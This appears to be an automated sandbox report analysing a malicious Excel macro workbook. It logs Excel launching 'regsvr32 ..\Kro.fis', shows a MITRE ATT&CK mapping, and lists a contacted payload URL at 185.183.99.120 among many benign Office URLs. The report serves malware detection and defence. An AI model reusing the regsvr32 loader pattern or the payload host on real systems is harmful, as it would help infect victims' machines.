uri="{B58B0392-4F1F-4190-BB64-5DF3571DCE5F}" xmlns:xcalcf="http://schemas.microsoft.com/office/spreadsheetml/2018/calcfeatures"><xcalcf:calcFeatures><xcalcf:feature name="microsoft.com:RD"/><xcalcf:feature name="microsoft.com:FV"/></xcalcf:calcFeatures></ext></extLst></workbook>
Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
Source: classification engineClassification label: mal64.expl.evad.winXLSM@7/9@0/3
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{D50C8594-4C31-4140-87E9-BB34C96B42EC} - OProcSessId.datJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fis
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fis1
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fis2
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fisJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fis1Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fis2Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: Permission-1532161794-06252021.xlsmInitial sample: OLE zip file path = xl/media/image1.jpg
Source: Permission-1532161794-06252021.xlsmInitial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: Permission-1532161794-06252021.xlsmInitial sample: OLE zip file path = xl/calcChain.xml
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: regsvr32.exe, 00000003.00000002.697144228.0000000000C50000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.690932208.0000000000FC0000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.684582222.0000000000EF0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: regsvr32.exe, 00000003.00000002.697144228.0000000000C50000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.690932208.0000000000FC0000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.684582222.0000000000EF0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: regsvr32.exe, 00000003.00000002.697144228.0000000000C50000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.690932208.0000000000FC0000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.684582222.0000000000EF0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: regsvr32.exe, 00000003.00000002.697144228.0000000000C50000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.690932208.0000000000FC0000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.684582222.0000000000EF0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting11DLL Side-Loading1Process Injection1Masquerading1OS Credential DumpingSecurity Software Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumNon-Application Layer Protocol1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsExploitation for Client Execution22Boot or Logon Initialization ScriptsDLL Side-Loading1Disable or Modify Tools1LSASS MemoryFile and Directory Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothApplication Layer Protocol11Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection1Security Account ManagerSystem Information Discovery2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationIngress Tool Transfer1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Scripting11NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptDLL Side-Loading1LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
Permission-1532161794-06252021.xlsm5%VirustotalBrowse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
http://185.183.99.120/44372.7722377315.dat0%Avira URL Cloudsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://ofcrecsvcapi-int.azurewebsites.net/0%VirustotalBrowse
https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://officeci.azurewebsites.net/api/0%VirustotalBrowse
https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://asgsmsproxyapi.azurewebsites.net/0%VirustotalBrowse
https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://ncus.pagecontentsync.0%URL Reputationsafe
https://ncus.pagecontentsync.0%URL Reputationsafe
https://ncus.pagecontentsync.0%URL Reputationsafe
https://ncus.pagecontentsync.0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://ovisualuiapp.azurewebsites.net/pbiagave/0%Avira URL Cloudsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

NameMaliciousAntivirus DetectionReputation
http://185.183.99.120/44372.7722377315.datfalse
  • Avira URL Cloud: safe
unknown

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
https://api.diagnosticssdf.office.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
    high
    https://login.microsoftonline.com/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
      high
      https://shell.suite.office.com:144370C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
        high
        https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
          high
          https://autodiscover-s.outlook.com/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
            high
            https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
              high
              https://cdn.entity.70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
              • URL Reputation: safe
              • URL Reputation: safe
              • URL Reputation: safe
              • URL Reputation: safe
              unknown
              https://api.addins.omex.office.net/appinfo/query70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                high
                https://clients.config.office.net/user/v1.0/tenantassociationkey70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                  high
                  https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                    high
                    https://powerlift.acompli.net70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    https://rpsticket.partnerservices.getmicrosoftkey.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    https://lookup.onenote.com/lookup/geolocation/v170C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                      high
                      https://cortana.ai70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                        high
                        https://cloudfiles.onenote.com/upload.aspx70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                          high
                          https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                            high
                            https://entitlement.diagnosticssdf.office.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                              high
                              https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                high
                                https://api.aadrm.com/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                unknown
                                https://ofcrecsvcapi-int.azurewebsites.net/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                • 0%, Virustotal, Browse
                                • Avira URL Cloud: safe
                                unknown
                                https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                  high
                                  https://api.microsoftstream.com/api/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                    high
                                    https://insertmedia.bing.office.net/images/hosted?host=office&amp;adlt=strict&amp;hostType=Immersive70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                      high
                                      https://cr.office.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                        high
                                        https://portal.office.com/account/?ref=ClientMeControl70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                          high
                                          https://graph.ppe.windows.net70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                            high
                                            https://res.getmicrosoftkey.com/api/redemptionevents70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            unknown
                                            https://powerlift-frontdesk.acompli.net70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            unknown
                                            https://tasks.office.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                              high
                                              https://officeci.azurewebsites.net/api/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                              • 0%, Virustotal, Browse
                                              • Avira URL Cloud: safe
                                              unknown
                                              https://sr.outlook.office.net/ws/speech/recognize/assistant/work70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                high
                                                https://store.office.cn/addinstemplate70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                unknown
                                                https://outlook.office.com/autosuggest/api/v1/init?cvid=70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                  high
                                                  https://globaldisco.crm.dynamics.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                    high
                                                    https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                      high
                                                      https://store.officeppe.com/addinstemplate70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      unknown
                                                      https://dev0-api.acompli.net/autodetect70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      unknown
                                                      https://www.odwebp.svc.ms70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      unknown
                                                      https://api.powerbi.com/v1.0/myorg/groups70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                        high
                                                        https://web.microsoftstream.com/video/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                          high
                                                          https://graph.windows.net70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                            high
                                                            https://dataservice.o365filtering.com/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            unknown
                                                            https://officesetup.getmicrosoftkey.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            unknown
                                                            https://analysis.windows.net/powerbi/api70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                              high
                                                              https://prod-global-autodetect.acompli.net/autodetect70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              unknown
                                                              https://outlook.office365.com/autodiscover/autodiscover.json70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                high
                                                                https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                  high
                                                                  https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                    high
                                                                    https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                      high
                                                                      https://ncus.contentsync.70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      • URL Reputation: safe
                                                                      unknown
                                                                      https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                        high
                                                                        https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                          high
                                                                          http://weather.service.msn.com/data.aspx70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                            high
                                                                            https://apis.live.net/v5.0/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                            • URL Reputation: safe
                                                                            • URL Reputation: safe
                                                                            • URL Reputation: safe
                                                                            • URL Reputation: safe
                                                                            unknown
                                                                            https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                              high
                                                                              https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                high
                                                                                https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                  high
                                                                                  https://management.azure.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                    high
